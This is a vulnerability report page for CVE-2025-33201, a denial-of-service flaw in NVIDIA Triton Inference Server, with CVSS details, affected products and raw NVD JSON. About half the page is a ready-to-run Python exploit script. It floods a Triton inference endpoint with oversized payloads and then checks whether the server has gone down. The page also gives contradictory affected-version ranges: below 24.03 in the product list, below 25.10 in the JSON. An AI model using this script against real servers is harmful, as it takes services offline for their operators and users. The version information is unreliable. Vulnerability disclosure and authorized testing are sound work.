Security Vulnerability Report
中文
CVE-2025-33201 CVSS 7.5 HIGH

CVE-2025-33201

Published: 2025-12-03 19:15:56
Last Modified: 2025-12-05 16:44:42

Description

NVIDIA Triton Inference Server contains a vulnerability where an attacker may cause an improper check for unusual or exceptional conditions issue by sending extra large payloads. A successful exploit of this vulnerability may lead to denial of service.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
NVIDIA Triton Inference Server < 24.03 (Linux x64)
NVIDIA Triton Inference Server < 24.03 (Windows)
具体受影响版本需参考NVIDIA官方安全公告NVIDIA custhelp.com/app/answers/detail/a_id/5734

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-33201 PoC - NVIDIA Triton Inference Server DoS Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys import argparse def send_malicious_payload(target_url, model_name, payload_size_mb=100): """ Send oversized payload to trigger DoS condition """ # Generate oversized payload oversized_data = b'\x00' * (payload_size_mb * 1024 * 1024) headers = { 'Content-Type': 'application/octet-stream', 'Inference-Header-Content-Length': str(payload_size_mb * 1024 * 1024) } endpoint = f"{target_url}/v2/models/{model_name}/infer" print(f"[*] Sending oversized payload ({payload_size_mb}MB) to {endpoint}") print(f"[*] Target: {target_url}") print(f"[*] Model: {model_name}") try: response = requests.post(endpoint, data=oversized_data, headers=headers, timeout=30) print(f"[!] Response status: {response.status_code}") print(f"[!] Response: {response.text[:500]}") except requests.exceptions.RequestException as e: print(f"[+] Request failed (service may be down): {e}") return True return False def check_service_health(target_url): """Check if Triton server is responding""" try: response = requests.get(f"{target_url}/v2/health/ready", timeout=5) return response.status_code == 200 except: return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-33201 PoC') parser.add_argument('--target', default='http://localhost:8000', help='Triton server URL') parser.add_argument('--model', default='identity', help='Model name') parser.add_argument('--size', type=int, default=100, help='Payload size in MB') args = parser.parse_args() print("=" * 60) print("CVE-2025-33201 - NVIDIA Triton Inference Server DoS PoC") print("=" * 60) if check_service_health(args.target): print("[*] Target service is UP") send_malicious_payload(args.target, args.model, args.size) import time time.sleep(2) if not check_service_health(args.target): print("[+] Service appears to be DOWN - DoS successful!") else: print("[-] Service still UP - DoS may have failed or requires larger payload") else: print("[-] Target service is not reachable or not ready")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33201", "sourceIdentifier": "[email protected]", "published": "2025-12-03T19:15:55.710", "lastModified": "2025-12-05T16:44:41.840", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "NVIDIA Triton Inference Server contains a vulnerability where an attacker may cause an improper check for unusual or exceptional conditions issue by sending extra large payloads. A successful exploit of this vulnerability may lead to denial of service."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nvidia:triton_inference_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.10", "matchCriteriaId": "18BB44BB-3B9D-4485-8C83-3D8B071A14F8"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}]}]}], "references": [{"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-33201", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5734", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-33201", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}